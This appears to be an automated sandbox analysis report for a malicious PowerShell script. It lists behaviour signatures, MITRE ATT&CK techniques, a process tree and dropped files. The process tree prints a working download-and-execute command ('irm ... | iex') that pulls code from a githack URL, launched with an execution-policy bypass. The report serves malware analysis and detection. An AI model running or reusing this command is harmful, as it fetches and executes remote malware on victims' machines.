Analysis
- max time kernel
149s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
- submitted
24/09/2026, 12:16
General
- Target a0aba2ff36a1.ps1
- Size 93KB
- Sample260924-pff3catbmf
- SHA256 0acc12e3993609d539bb2c1c7f0543c7ca6b03158c9f8e265e57650a4f9d9ee2
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\a0aba2ff36a1.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u0pyop2k\u0pyop2k.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4F6E.tmp" "c:\Users\Admin\AppData\Local\Temp\u0pyop2k\CSCBD758437D5A0414A9369446D7C219BF.TMP"3⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ekbbuchg\ekbbuchg.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES501A.tmp" "c:\Users\Admin\AppData\Local\Temp\ekbbuchg\CSCD1902EFAC2754F5588255EFCC429559A.TMP"3⤵
-
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/3fF2/723e2dbf470c/refs/heads/main/6238edc5cb99 | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
RES4F6E.tmp
RES501A.tmp
__PSScriptPolicyTest_ujz3xgn2.lcs.ps1
ekbbuchg.dll
u0pyop2k.dll
CSCD1902EFAC2754F5588255EFCC429559A.TMP
ekbbuchg.0.cs
ekbbuchg.cmdline
CSCBD758437D5A0414A9369446D7C219BF.TMP
u0pyop2k.0.cs
u0pyop2k.cmdline
memory/892-51-0x0000000006030000-0x000000000607C000-memory.dmp
memory/892-41-0x0000000005860000-0x00000000058C6000-memory.dmp
memory/892-53-0x00000000064D0000-0x00000000064EA000-memory.dmp
memory/892-52-0x00000000076E0000-0x0000000007D5A000-memory.dmp
memory/892-50-0x0000000005F90000-0x0000000005FAE000-memory.dmp
memory/892-49-0x0000000005990000-0x0000000005CE4000-memory.dmp
memory/892-37-0x00000000049E0000-0x0000000004A16000-memory.dmp
memory/892-38-0x00000000051C0000-0x00000000057E8000-memory.dmp
memory/892-39-0x00000000050F0000-0x0000000005112000-memory.dmp
memory/892-40-0x00000000057F0000-0x0000000005856000-memory.dmp
memory/2280-1-0x00000205B2F10000-0x00000205B2F20000-memory.dmp
memory/2280-23-0x00000205B2ED0000-0x00000205B2ED8000-memory.dmp
memory/2280-36-0x00000205B2EE0000-0x00000205B2EE8000-memory.dmp
memory/2280-0-0x00000205B2F10000-0x00000205B2F20000-memory.dmp
memory/2280-2-0x00000205B5000000-0x00000205B5022000-memory.dmp
memory/2280-10-0x00000205B2F10000-0x00000205B2F20000-memory.dmp
memory/2280-56-0x00000205B2F10000-0x00000205B2F20000-memory.dmp
memory/2280-57-0x00000205B2F10000-0x00000205B2F20000-memory.dmp
memory/2280-58-0x00000205B2F10000-0x00000205B2F20000-memory.dmp